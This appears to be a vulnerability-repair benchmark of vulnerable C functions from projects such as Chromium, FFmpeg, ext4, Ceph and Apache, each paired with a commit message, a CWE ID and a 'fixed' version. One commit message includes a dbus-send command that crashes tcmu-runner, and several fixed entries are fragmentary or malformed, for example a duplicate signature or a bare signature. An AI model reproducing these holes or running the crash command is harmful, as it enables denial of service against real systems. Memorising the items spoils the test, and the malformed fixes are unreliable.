{
u8 sta_id = addsta->sta.sta_id;
unsigned long flags;
int ret = -EIO;
if (pkt->hdr.flags & IWL_CMD_FAILED_MSK) {
IWL_ERR(priv, "Bad return from REPLY_ADD_STA (0x%08X)\n",
pkt->hdr.flags);
return ret;
}
IWL_DEBUG_INFO(priv, "Processing response for adding station %u\n",
sta_id);
spin_lock_irqsave(&priv->shrd->sta_lock, flags);
switch (pkt->u.add_sta.status) {
case ADD_STA_SUCCESS_MSK:
IWL_DEBUG_INFO(priv, "REPLY_ADD_STA PASSED\n");
ret = iwl_sta_ucode_activate(priv, sta_id);
break;
case ADD_STA_NO_ROOM_IN_TABLE:
IWL_ERR(priv, "Adding station %d failed, no room in table.\n",
sta_id);
break;
case ADD_STA_NO_BLOCK_ACK_RESOURCE:
IWL_ERR(priv, "Adding station %d failed, no block ack "
"resource.\n", sta_id);
break;
case ADD_STA_MODIFY_NON_EXIST_STA:
IWL_ERR(priv, "Attempting to modify non-existing station %d\n",
sta_id);
break;
default:
IWL_DEBUG_ASSOC(priv, "Received REPLY_ADD_STA:(0x%08X)\n",
pkt->u.add_sta.status);
break;
}
IWL_DEBUG_INFO(priv, "%s station id %u addr %pM\n",
priv->stations[sta_id].sta.mode ==
STA_CONTROL_MODIFY_MSK ? "Modified" : "Added",
sta_id, priv->stations[sta_id].sta.sta.addr);
/*
* XXX: The MAC address in the command buffer is often changed from
* the original sent to the device. That is, the MAC address
* written to the command buffer often is not the same MAC address
* read from the command buffer when the command returns. This
* issue has not yet been resolved and this debugging is left to
* observe the problem.
*/
IWL_DEBUG_INFO(priv, "%s station according to cmd buffer %pM\n",
priv->stations[sta_id].sta.mode ==
STA_CONTROL_MODIFY_MSK ? "Modified" : "Added",
addsta->sta.addr);
spin_unlock_irqrestore(&priv->shrd->sta_lock, flags);
return ret;
}
| 169,868 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool nodeHasRole(Node* node, const String& role) {
if (!node || !node->isElementNode())
return false;
return equalIgnoringCase(toElement(node)->getAttribute(roleAttr), role);
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254 | bool nodeHasRole(Node* node, const String& role) {
if (!node || !node->isElementNode())
return false;
return equalIgnoringASCIICase(toElement(node)->getAttribute(roleAttr), role);
}
| 171,930 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool XmlReader::LoadFile(const std::string& file_path) {
const int kParseOptions = XML_PARSE_RECOVER | // recover on errors
XML_PARSE_NONET | // forbid network access
XML_PARSE_NOXXE; // no external entities
reader_ = xmlReaderForFile(file_path.c_str(), NULL, kParseOptions);
return reader_ != NULL;
}
Commit Message: Roll libxml to 3939178e4cb797417ff033b1e04ab4b038e224d9
Removes a few patches fixed upstream:
https://git.gnome.org/browse/libxml2/commit/?id=e26630548e7d138d2c560844c43820b6767251e3
https://git.gnome.org/browse/libxml2/commit/?id=94691dc884d1a8ada39f073408b4bb92fe7fe882
Stops using the NOXXE flag which was reverted upstream:
https://git.gnome.org/browse/libxml2/commit/?id=030b1f7a27c22f9237eddca49ec5e620b6258d7d
Changes the patch to uri.c to not add limits.h, which is included
upstream.
Bug: 722079
Change-Id: I4b8449ed33f95de23c54c2cde99970c2df2781ac
Reviewed-on: https://chromium-review.googlesource.com/535233
Reviewed-by: Scott Graham <[email protected]>
Commit-Queue: Dominic Cooney <[email protected]>
Cr-Commit-Position: refs/heads/master@{#480755}
CWE ID: CWE-787 | bool XmlReader::LoadFile(const std::string& file_path) {
const int kParseOptions = XML_PARSE_RECOVER | // recover on errors
XML_PARSE_NONET; // forbid network access
reader_ = xmlReaderForFile(file_path.c_str(), NULL, kParseOptions);
return reader_ != NULL;
}
| 172,945 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void RunScrollbarButtonLatencyTest() {
#if !defined(OS_ANDROID)
blink::WebFloatPoint scrollbar_forward_button(795, 595);
blink::WebMouseEvent mouse_event = SyntheticWebMouseEventBuilder::Build(
blink::WebInputEvent::kMouseDown, scrollbar_forward_button.x,
scrollbar_forward_button.y, 0);
mouse_event.button = blink::WebMouseEvent::Button::kLeft;
mouse_event.SetTimeStamp(base::TimeTicks::Now());
GetWidgetHost()->ForwardMouseEvent(mouse_event);
mouse_event.SetType(blink::WebInputEvent::kMouseUp);
GetWidgetHost()->ForwardMouseEvent(mouse_event);
RunUntilInputProcessed(GetWidgetHost());
FetchHistogramsFromChildProcesses();
EXPECT_TRUE(VerifyRecordedSamplesForHistogram(
1, "Event.Latency.ScrollBegin.Scrollbar.TimeToScrollUpdateSwapBegin4"));
EXPECT_TRUE(VerifyRecordedSamplesForHistogram(
1,
"Event.Latency.ScrollBegin.Scrollbar.RendererSwapToBrowserNotified2"));
EXPECT_TRUE(VerifyRecordedSamplesForHistogram(
1,
"Event.Latency.ScrollBegin.Scrollbar.BrowserNotifiedToBeforeGpuSwap2"));
EXPECT_TRUE(VerifyRecordedSamplesForHistogram(
1, "Event.Latency.ScrollBegin.Scrollbar.GpuSwap2"));
std::string thread_name =
DoesScrollbarScrollOnMainThread() ? "Main" : "Impl";
EXPECT_TRUE(VerifyRecordedSamplesForHistogram(
1,
"Event.Latency.ScrollBegin.Scrollbar.TimeToHandled2_" + thread_name));
EXPECT_TRUE(VerifyRecordedSamplesForHistogram(
1, "Event.Latency.ScrollBegin.Scrollbar.HandledToRendererSwap2_" +
thread_name));
#endif // !defined(OS_ANDROID)
}
Commit Message: Revert "Add explicit flag for compositor scrollbar injected gestures"
This reverts commit d9a56afcbdf9850bc39bb3edb56d07d11a1eb2b2.
Reason for revert:
Findit (https://goo.gl/kROfz5) identified CL at revision 669086 as the
culprit for flakes in the build cycles as shown on:
https://analysis.chromium.org/p/chromium/flake-portal/analysis/culprit?key=ag9zfmZpbmRpdC1mb3ItbWVyQwsSDEZsYWtlQ3VscHJpdCIxY2hyb21pdW0vZDlhNTZhZmNiZGY5ODUwYmMzOWJiM2VkYjU2ZDA3ZDExYTFlYjJiMgw
Sample Failed Build: https://ci.chromium.org/buildbot/chromium.chromiumos/linux-chromeos-rel/25818
Sample Failed Step: content_browsertests on Ubuntu-16.04
Sample Flaky Test: ScrollLatencyScrollbarBrowserTest.ScrollbarThumbDragLatency
Original change's description:
> Add explicit flag for compositor scrollbar injected gestures
>
> The original change to enable scrollbar latency for the composited
> scrollbars incorrectly used an existing member to try and determine
> whether a GestureScrollUpdate was the first one in an injected sequence
> or not. is_first_gesture_scroll_update_ was incorrect because it is only
> updated when input is actually dispatched to InputHandlerProxy, and the
> flag is cleared for all GSUs before the location where it was being
> read.
>
> This bug was missed because of incorrect tests. The
> VerifyRecordedSamplesForHistogram method doesn't actually assert or
> expect anything - the return value must be inspected.
>
> As part of fixing up the tests, I made a few other changes to get them
> passing consistently across all platforms:
> - turn on main thread scrollbar injection feature (in case it's ever
> turned off we don't want the tests to start failing)
> - enable mock scrollbars
> - disable smooth scrolling
> - don't run scrollbar tests on Android
>
> The composited scrollbar button test is disabled due to a bug in how
> the mock theme reports its button sizes, which throws off the region
> detection in ScrollbarLayerImplBase::IdentifyScrollbarPart (filed
> crbug.com/974063 for this issue).
>
> Change-Id: Ie1a762a5f6ecc264d22f0256db68f141fc76b950
>
> Bug: 954007
> Change-Id: Ib258e08e083e79da90ba2e4e4216e4879cf00cf7
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1652741
> Commit-Queue: Daniel Libby <[email protected]>
> Reviewed-by: David Bokan <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#669086}
Change-Id: Icc743e48fa740fe27f0cb0cfa21b209a696f518c
No-Presubmit: true
No-Tree-Checks: true
No-Try: true
Bug: 954007
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1660114
Cr-Commit-Position: refs/heads/master@{#669150}
CWE ID: CWE-281 | void RunScrollbarButtonLatencyTest() {
| 172,428 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: on_unregister_handler(TCMUService1HandlerManager1 *interface,
GDBusMethodInvocation *invocation,
gchar *subtype,
gpointer user_data)
{
struct tcmur_handler *handler = find_handler_by_subtype(subtype);
struct dbus_info *info = handler ? handler->opaque : NULL;
if (!handler) {
g_dbus_method_invocation_return_value(invocation,
g_variant_new("(bs)", FALSE,
"unknown subtype"));
return TRUE;
}
dbus_unexport_handler(handler);
tcmur_unregister_handler(handler);
g_bus_unwatch_name(info->watcher_id);
g_free(info);
g_free(handler);
g_dbus_method_invocation_return_value(invocation,
g_variant_new("(bs)", TRUE, "succeeded"));
return TRUE;
}
Commit Message: only allow dynamic UnregisterHandler for external handlers, thereby fixing DoS
Trying to unregister an internal handler ended up in a SEGFAULT, because
the tcmur_handler->opaque was NULL. Way to reproduce:
dbus-send --system --print-reply --dest=org.kernel.TCMUService1 /org/kernel/TCMUService1/HandlerManager1 org.kernel.TCMUService1.HandlerManager1.UnregisterHandler string:qcow
we use a newly introduced boolean in struct tcmur_handler for keeping
track of external handlers. As suggested by mikechristie adjusting the
public data structure is acceptable.
CWE ID: CWE-476 | on_unregister_handler(TCMUService1HandlerManager1 *interface,
GDBusMethodInvocation *invocation,
gchar *subtype,
gpointer user_data)
{
struct tcmur_handler *handler = find_handler_by_subtype(subtype);
struct dbus_info *info = handler ? handler->opaque : NULL;
if (!handler) {
g_dbus_method_invocation_return_value(invocation,
g_variant_new("(bs)", FALSE,
"unknown subtype"));
return TRUE;
}
else if (handler->_is_dbus_handler != 1) {
g_dbus_method_invocation_return_value(invocation,
g_variant_new("(bs)", FALSE,
"cannot unregister internal handler"));
return TRUE;
}
dbus_unexport_handler(handler);
tcmur_unregister_dbus_handler(handler);
g_bus_unwatch_name(info->watcher_id);
g_free(info);
g_free(handler);
g_dbus_method_invocation_return_value(invocation,
g_variant_new("(bs)", TRUE, "succeeded"));
return TRUE;
}
| 167,634 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: AppProto AppLayerProtoDetectGetProto(AppLayerProtoDetectThreadCtx *tctx,
Flow *f,
uint8_t *buf, uint32_t buflen,
uint8_t ipproto, uint8_t direction)
{
SCEnter();
SCLogDebug("buflen %u for %s direction", buflen,
(direction & STREAM_TOSERVER) ? "toserver" : "toclient");
AppProto alproto = ALPROTO_UNKNOWN;
if (!FLOW_IS_PM_DONE(f, direction)) {
AppProto pm_results[ALPROTO_MAX];
uint16_t pm_matches = AppLayerProtoDetectPMGetProto(tctx, f,
buf, buflen,
direction,
ipproto,
pm_results);
if (pm_matches > 0) {
alproto = pm_results[0];
goto end;
}
}
if (!FLOW_IS_PP_DONE(f, direction)) {
alproto = AppLayerProtoDetectPPGetProto(f, buf, buflen,
ipproto, direction);
if (alproto != ALPROTO_UNKNOWN)
goto end;
}
/* Look if flow can be found in expectation list */
if (!FLOW_IS_PE_DONE(f, direction)) {
alproto = AppLayerProtoDetectPEGetProto(f, ipproto, direction);
}
end:
SCReturnUInt(alproto);
}
Commit Message: proto/detect: workaround dns misdetected as dcerpc
The DCERPC UDP detection would misfire on DNS with transaction
ID 0x0400. This would happen as the protocol detection engine
gives preference to pattern based detection over probing parsers for
performance reasons.
This hack/workaround fixes this specific case by still running the
probing parser if DCERPC has been detected on UDP. The probing
parser result will take precedence.
Bug #2736.
CWE ID: CWE-20 | AppProto AppLayerProtoDetectGetProto(AppLayerProtoDetectThreadCtx *tctx,
Flow *f,
uint8_t *buf, uint32_t buflen,
uint8_t ipproto, uint8_t direction)
{
SCEnter();
SCLogDebug("buflen %u for %s direction", buflen,
(direction & STREAM_TOSERVER) ? "toserver" : "toclient");
AppProto alproto = ALPROTO_UNKNOWN;
AppProto pm_alproto = ALPROTO_UNKNOWN;
if (!FLOW_IS_PM_DONE(f, direction)) {
AppProto pm_results[ALPROTO_MAX];
uint16_t pm_matches = AppLayerProtoDetectPMGetProto(tctx, f,
buf, buflen,
direction,
ipproto,
pm_results);
if (pm_matches > 0) {
alproto = pm_results[0];
/* HACK: if detected protocol is dcerpc/udp, we run PP as well
* to avoid misdetecting DNS as DCERPC. */
if (!(ipproto == IPPROTO_UDP && alproto == ALPROTO_DCERPC))
goto end;
pm_alproto = alproto;
/* fall through */
}
}
if (!FLOW_IS_PP_DONE(f, direction)) {
alproto = AppLayerProtoDetectPPGetProto(f, buf, buflen,
ipproto, direction);
if (alproto != ALPROTO_UNKNOWN)
goto end;
}
/* Look if flow can be found in expectation list */
if (!FLOW_IS_PE_DONE(f, direction)) {
alproto = AppLayerProtoDetectPEGetProto(f, ipproto, direction);
}
end:
if (alproto == ALPROTO_UNKNOWN)
alproto = pm_alproto;
SCReturnUInt(alproto);
}
| 170,179 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int ext4_split_extent_at(handle_t *handle,
struct inode *inode,
struct ext4_ext_path *path,
ext4_lblk_t split,
int split_flag,
int flags)
{
ext4_fsblk_t newblock;
ext4_lblk_t ee_block;
struct ext4_extent *ex, newex, orig_ex;
struct ext4_extent *ex2 = NULL;
unsigned int ee_len, depth;
int err = 0;
ext_debug("ext4_split_extents_at: inode %lu, logical"
"block %llu\n", inode->i_ino, (unsigned long long)split);
ext4_ext_show_leaf(inode, path);
depth = ext_depth(inode);
ex = path[depth].p_ext;
ee_block = le32_to_cpu(ex->ee_block);
ee_len = ext4_ext_get_actual_len(ex);
newblock = split - ee_block + ext4_ext_pblock(ex);
BUG_ON(split < ee_block || split >= (ee_block + ee_len));
err = ext4_ext_get_access(handle, inode, path + depth);
if (err)
goto out;
if (split == ee_block) {
/*
* case b: block @split is the block that the extent begins with
* then we just change the state of the extent, and splitting
* is not needed.
*/
if (split_flag & EXT4_EXT_MARK_UNINIT2)
ext4_ext_mark_uninitialized(ex);
else
ext4_ext_mark_initialized(ex);
if (!(flags & EXT4_GET_BLOCKS_PRE_IO))
ext4_ext_try_to_merge(handle, inode, path, ex);
err = ext4_ext_dirty(handle, inode, path + path->p_depth);
goto out;
}
/* case a */
memcpy(&orig_ex, ex, sizeof(orig_ex));
ex->ee_len = cpu_to_le16(split - ee_block);
if (split_flag & EXT4_EXT_MARK_UNINIT1)
ext4_ext_mark_uninitialized(ex);
/*
* path may lead to new leaf, not to original leaf any more
* after ext4_ext_insert_extent() returns,
*/
err = ext4_ext_dirty(handle, inode, path + depth);
if (err)
goto fix_extent_len;
ex2 = &newex;
ex2->ee_block = cpu_to_le32(split);
ex2->ee_len = cpu_to_le16(ee_len - (split - ee_block));
ext4_ext_store_pblock(ex2, newblock);
if (split_flag & EXT4_EXT_MARK_UNINIT2)
ext4_ext_mark_uninitialized(ex2);
err = ext4_ext_insert_extent(handle, inode, path, &newex, flags);
if (err == -ENOSPC && (EXT4_EXT_MAY_ZEROOUT & split_flag)) {
err = ext4_ext_zeroout(inode, &orig_ex);
if (err)
goto fix_extent_len;
/* update the extent length and mark as initialized */
ex->ee_len = cpu_to_le16(ee_len);
ext4_ext_try_to_merge(handle, inode, path, ex);
err = ext4_ext_dirty(handle, inode, path + path->p_depth);
goto out;
} else if (err)
goto fix_extent_len;
out:
ext4_ext_show_leaf(inode, path);
return err;
fix_extent_len:
ex->ee_len = orig_ex.ee_len;
ext4_ext_dirty(handle, inode, path + depth);
return err;
}
Commit Message: ext4: race-condition protection for ext4_convert_unwritten_extents_endio
We assumed that at the time we call ext4_convert_unwritten_extents_endio()
extent in question is fully inside [map.m_lblk, map->m_len] because
it was already split during submission. But this may not be true due to
a race between writeback vs fallocate.
If extent in question is larger than requested we will split it again.
Special precautions should being done if zeroout required because
[map.m_lblk, map->m_len] already contains valid data.
Signed-off-by: Dmitry Monakhov <[email protected]>
Signed-off-by: "Theodore Ts'o" <[email protected]>
Cc: [email protected]
CWE ID: CWE-362 | static int ext4_split_extent_at(handle_t *handle,
struct inode *inode,
struct ext4_ext_path *path,
ext4_lblk_t split,
int split_flag,
int flags)
{
ext4_fsblk_t newblock;
ext4_lblk_t ee_block;
struct ext4_extent *ex, newex, orig_ex;
struct ext4_extent *ex2 = NULL;
unsigned int ee_len, depth;
int err = 0;
BUG_ON((split_flag & (EXT4_EXT_DATA_VALID1 | EXT4_EXT_DATA_VALID2)) ==
(EXT4_EXT_DATA_VALID1 | EXT4_EXT_DATA_VALID2));
ext_debug("ext4_split_extents_at: inode %lu, logical"
"block %llu\n", inode->i_ino, (unsigned long long)split);
ext4_ext_show_leaf(inode, path);
depth = ext_depth(inode);
ex = path[depth].p_ext;
ee_block = le32_to_cpu(ex->ee_block);
ee_len = ext4_ext_get_actual_len(ex);
newblock = split - ee_block + ext4_ext_pblock(ex);
BUG_ON(split < ee_block || split >= (ee_block + ee_len));
err = ext4_ext_get_access(handle, inode, path + depth);
if (err)
goto out;
if (split == ee_block) {
/*
* case b: block @split is the block that the extent begins with
* then we just change the state of the extent, and splitting
* is not needed.
*/
if (split_flag & EXT4_EXT_MARK_UNINIT2)
ext4_ext_mark_uninitialized(ex);
else
ext4_ext_mark_initialized(ex);
if (!(flags & EXT4_GET_BLOCKS_PRE_IO))
ext4_ext_try_to_merge(handle, inode, path, ex);
err = ext4_ext_dirty(handle, inode, path + path->p_depth);
goto out;
}
/* case a */
memcpy(&orig_ex, ex, sizeof(orig_ex));
ex->ee_len = cpu_to_le16(split - ee_block);
if (split_flag & EXT4_EXT_MARK_UNINIT1)
ext4_ext_mark_uninitialized(ex);
/*
* path may lead to new leaf, not to original leaf any more
* after ext4_ext_insert_extent() returns,
*/
err = ext4_ext_dirty(handle, inode, path + depth);
if (err)
goto fix_extent_len;
ex2 = &newex;
ex2->ee_block = cpu_to_le32(split);
ex2->ee_len = cpu_to_le16(ee_len - (split - ee_block));
ext4_ext_store_pblock(ex2, newblock);
if (split_flag & EXT4_EXT_MARK_UNINIT2)
ext4_ext_mark_uninitialized(ex2);
err = ext4_ext_insert_extent(handle, inode, path, &newex, flags);
if (err == -ENOSPC && (EXT4_EXT_MAY_ZEROOUT & split_flag)) {
if (split_flag & (EXT4_EXT_DATA_VALID1|EXT4_EXT_DATA_VALID2)) {
if (split_flag & EXT4_EXT_DATA_VALID1)
err = ext4_ext_zeroout(inode, ex2);
else
err = ext4_ext_zeroout(inode, ex);
} else
err = ext4_ext_zeroout(inode, &orig_ex);
if (err)
goto fix_extent_len;
/* update the extent length and mark as initialized */
ex->ee_len = cpu_to_le16(ee_len);
ext4_ext_try_to_merge(handle, inode, path, ex);
err = ext4_ext_dirty(handle, inode, path + path->p_depth);
goto out;
} else if (err)
goto fix_extent_len;
out:
ext4_ext_show_leaf(inode, path);
return err;
fix_extent_len:
ex->ee_len = orig_ex.ee_len;
ext4_ext_dirty(handle, inode, path + depth);
return err;
}
| 165,534 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void read_quant_matrix_ext(MpegEncContext *s, GetBitContext *gb)
{
int i, j, v;
if (get_bits1(gb)) {
/* intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
v = get_bits(gb, 8);
j = s->idsp.idct_permutation[ff_zigzag_direct[i]];
s->intra_matrix[j] = v;
s->chroma_intra_matrix[j] = v;
}
}
if (get_bits1(gb)) {
/* non_intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
get_bits(gb, 8);
}
}
if (get_bits1(gb)) {
/* chroma_intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
v = get_bits(gb, 8);
j = s->idsp.idct_permutation[ff_zigzag_direct[i]];
s->chroma_intra_matrix[j] = v;
}
}
if (get_bits1(gb)) {
/* chroma_non_intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
get_bits(gb, 8);
}
}
next_start_code_studio(gb);
}
Commit Message: avcodec/mpeg4videodec: Check for bitstream end in read_quant_matrix_ext()
Fixes: out of array read
Fixes: asff-crash-0e53d0dc491dfdd507530b66562812fbd4c36678
Found-by: Paul Ch <[email protected]>
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-125 | static void read_quant_matrix_ext(MpegEncContext *s, GetBitContext *gb)
static int read_quant_matrix_ext(MpegEncContext *s, GetBitContext *gb)
{
int i, j, v;
if (get_bits1(gb)) {
if (get_bits_left(gb) < 64*8)
return AVERROR_INVALIDDATA;
/* intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
v = get_bits(gb, 8);
j = s->idsp.idct_permutation[ff_zigzag_direct[i]];
s->intra_matrix[j] = v;
s->chroma_intra_matrix[j] = v;
}
}
if (get_bits1(gb)) {
if (get_bits_left(gb) < 64*8)
return AVERROR_INVALIDDATA;
/* non_intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
get_bits(gb, 8);
}
}
if (get_bits1(gb)) {
if (get_bits_left(gb) < 64*8)
return AVERROR_INVALIDDATA;
/* chroma_intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
v = get_bits(gb, 8);
j = s->idsp.idct_permutation[ff_zigzag_direct[i]];
s->chroma_intra_matrix[j] = v;
}
}
if (get_bits1(gb)) {
if (get_bits_left(gb) < 64*8)
return AVERROR_INVALIDDATA;
/* chroma_non_intra_quantiser_matrix */
for (i = 0; i < 64; i++) {
get_bits(gb, 8);
}
}
next_start_code_studio(gb);
return 0;
}
| 168,922 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int send_solid_rect(VncState *vs)
{
size_t bytes;
tight_pack24(vs, vs->tight.tight.buffer, 1, &vs->tight.tight.offset);
bytes = 3;
} else {
bytes = vs->clientds.pf.bytes_per_pixel;
}
Commit Message:
CWE ID: CWE-125 | static int send_solid_rect(VncState *vs)
{
size_t bytes;
tight_pack24(vs, vs->tight.tight.buffer, 1, &vs->tight.tight.offset);
bytes = 3;
} else {
bytes = vs->client_pf.bytes_per_pixel;
}
| 165,462 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool IsBlockedNavigation(net::Error error_code) {
switch (error_code) {
case net::ERR_BLOCKED_BY_CLIENT:
case net::ERR_BLOCKED_BY_RESPONSE:
case net::ERR_BLOCKED_BY_XSS_AUDITOR:
case net::ERR_UNSAFE_REDIRECT:
return true;
default:
return false;
}
}
Commit Message: Do not use NavigationEntry to block history navigations.
This is no longer necessary after r477371.
BUG=777419
TEST=See bug for repro steps.
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_site_isolation
Change-Id: I701e4d4853858281b43e3743b12274dbeadfbf18
Reviewed-on: https://chromium-review.googlesource.com/733959
Reviewed-by: Devlin <[email protected]>
Reviewed-by: Nasko Oskov <[email protected]>
Commit-Queue: Charlie Reis <[email protected]>
Cr-Commit-Position: refs/heads/master@{#511942}
CWE ID: CWE-20 | bool IsBlockedNavigation(net::Error error_code) {
| 172,931 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac,
struct ceph_crypto_key *secret,
void *buf, void *end)
{
void *p = buf;
char *dbuf;
char *ticket_buf;
u8 reply_struct_v;
u32 num;
int ret;
dbuf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS);
if (!dbuf)
return -ENOMEM;
ret = -ENOMEM;
ticket_buf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS);
if (!ticket_buf)
goto out_dbuf;
ceph_decode_8_safe(&p, end, reply_struct_v, bad);
if (reply_struct_v != 1)
return -EINVAL;
ceph_decode_32_safe(&p, end, num, bad);
dout("%d tickets\n", num);
while (num--) {
ret = process_one_ticket(ac, secret, &p, end,
dbuf, ticket_buf);
if (ret)
goto out;
}
ret = 0;
out:
kfree(ticket_buf);
out_dbuf:
kfree(dbuf);
return ret;
bad:
ret = -EINVAL;
goto out;
}
Commit Message: libceph: do not hard code max auth ticket len
We hard code cephx auth ticket buffer size to 256 bytes. This isn't
enough for any moderate setups and, in case tickets themselves are not
encrypted, leads to buffer overflows (ceph_x_decrypt() errors out, but
ceph_decode_copy() doesn't - it's just a memcpy() wrapper). Since the
buffer is allocated dynamically anyway, allocated it a bit later, at
the point where we know how much is going to be needed.
Fixes: http://tracker.ceph.com/issues/8979
Cc: [email protected]
Signed-off-by: Ilya Dryomov <[email protected]>
Reviewed-by: Sage Weil <[email protected]>
CWE ID: CWE-399 | static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac,
struct ceph_crypto_key *secret,
void *buf, void *end)
{
void *p = buf;
u8 reply_struct_v;
u32 num;
int ret;
ceph_decode_8_safe(&p, end, reply_struct_v, bad);
if (reply_struct_v != 1)
return -EINVAL;
ceph_decode_32_safe(&p, end, num, bad);
dout("%d tickets\n", num);
while (num--) {
ret = process_one_ticket(ac, secret, &p, end);
if (ret)
return ret;
}
return 0;
bad:
return -EINVAL;
}
| 166,263 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: apr_status_t ap_http_filter(ap_filter_t *f, apr_bucket_brigade *b,
ap_input_mode_t mode, apr_read_type_e block, apr_off_t readbytes)
{
core_server_config *conf;
apr_bucket *e;
http_ctx_t *ctx = f->ctx;
apr_status_t rv;
apr_off_t totalread;
int again;
conf = (core_server_config *)
ap_get_module_config(f->r->server->module_config, &core_module);
/* just get out of the way of things we don't want. */
if (mode != AP_MODE_READBYTES && mode != AP_MODE_GETLINE) {
return ap_get_brigade(f->next, b, mode, block, readbytes);
}
if (!ctx) {
const char *tenc, *lenp;
f->ctx = ctx = apr_pcalloc(f->r->pool, sizeof(*ctx));
ctx->state = BODY_NONE;
/* LimitRequestBody does not apply to proxied responses.
* Consider implementing this check in its own filter.
* Would adding a directive to limit the size of proxied
* responses be useful?
*/
if (!f->r->proxyreq) {
ctx->limit = ap_get_limit_req_body(f->r);
}
else {
ctx->limit = 0;
}
tenc = apr_table_get(f->r->headers_in, "Transfer-Encoding");
lenp = apr_table_get(f->r->headers_in, "Content-Length");
if (tenc) {
if (strcasecmp(tenc, "chunked") == 0 /* fast path */
|| ap_find_last_token(f->r->pool, tenc, "chunked")) {
ctx->state = BODY_CHUNK;
}
else if (f->r->proxyreq == PROXYREQ_RESPONSE) {
/* http://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging-23
* Section 3.3.3.3: "If a Transfer-Encoding header field is
* present in a response and the chunked transfer coding is not
* the final encoding, the message body length is determined by
* reading the connection until it is closed by the server."
*/
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(02555)
"Unknown Transfer-Encoding: %s;"
" using read-until-close", tenc);
tenc = NULL;
}
else {
/* Something that isn't a HTTP request, unless some future
* edition defines new transfer encodings, is unsupported.
*/
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01585)
"Unknown Transfer-Encoding: %s", tenc);
return APR_EGENERAL;
}
lenp = NULL;
}
if (lenp) {
char *endstr;
ctx->state = BODY_LENGTH;
/* Protects against over/underflow, non-digit chars in the
* string (excluding leading space) (the endstr checks)
* and a negative number. */
if (apr_strtoff(&ctx->remaining, lenp, &endstr, 10)
|| endstr == lenp || *endstr || ctx->remaining < 0) {
ctx->remaining = 0;
ap_log_rerror(
APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01587)
"Invalid Content-Length");
return APR_ENOSPC;
}
/* If we have a limit in effect and we know the C-L ahead of
* time, stop it here if it is invalid.
*/
if (ctx->limit && ctx->limit < ctx->remaining) {
ap_log_rerror(
APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01588)
"Requested content-length of %" APR_OFF_T_FMT
" is larger than the configured limit"
" of %" APR_OFF_T_FMT, ctx->remaining, ctx->limit);
return APR_ENOSPC;
}
}
/* If we don't have a request entity indicated by the headers, EOS.
* (BODY_NONE is a valid intermediate state due to trailers,
* but it isn't a valid starting state.)
*
* RFC 2616 Section 4.4 note 5 states that connection-close
* is invalid for a request entity - request bodies must be
* denoted by C-L or T-E: chunked.
*
* Note that since the proxy uses this filter to handle the
* proxied *response*, proxy responses MUST be exempt.
*/
if (ctx->state == BODY_NONE && f->r->proxyreq != PROXYREQ_RESPONSE) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
ctx->eos_sent = 1;
return APR_SUCCESS;
}
/* Since we're about to read data, send 100-Continue if needed.
* Only valid on chunked and C-L bodies where the C-L is > 0. */
if ((ctx->state == BODY_CHUNK
|| (ctx->state == BODY_LENGTH && ctx->remaining > 0))
&& f->r->expecting_100 && f->r->proto_num >= HTTP_VERSION(1,1)
&& !(f->r->eos_sent || f->r->bytes_sent)) {
if (!ap_is_HTTP_SUCCESS(f->r->status)) {
ctx->state = BODY_NONE;
ctx->eos_sent = 1;
}
else {
char *tmp;
int len;
apr_bucket_brigade *bb;
bb = apr_brigade_create(f->r->pool, f->c->bucket_alloc);
/* if we send an interim response, we're no longer
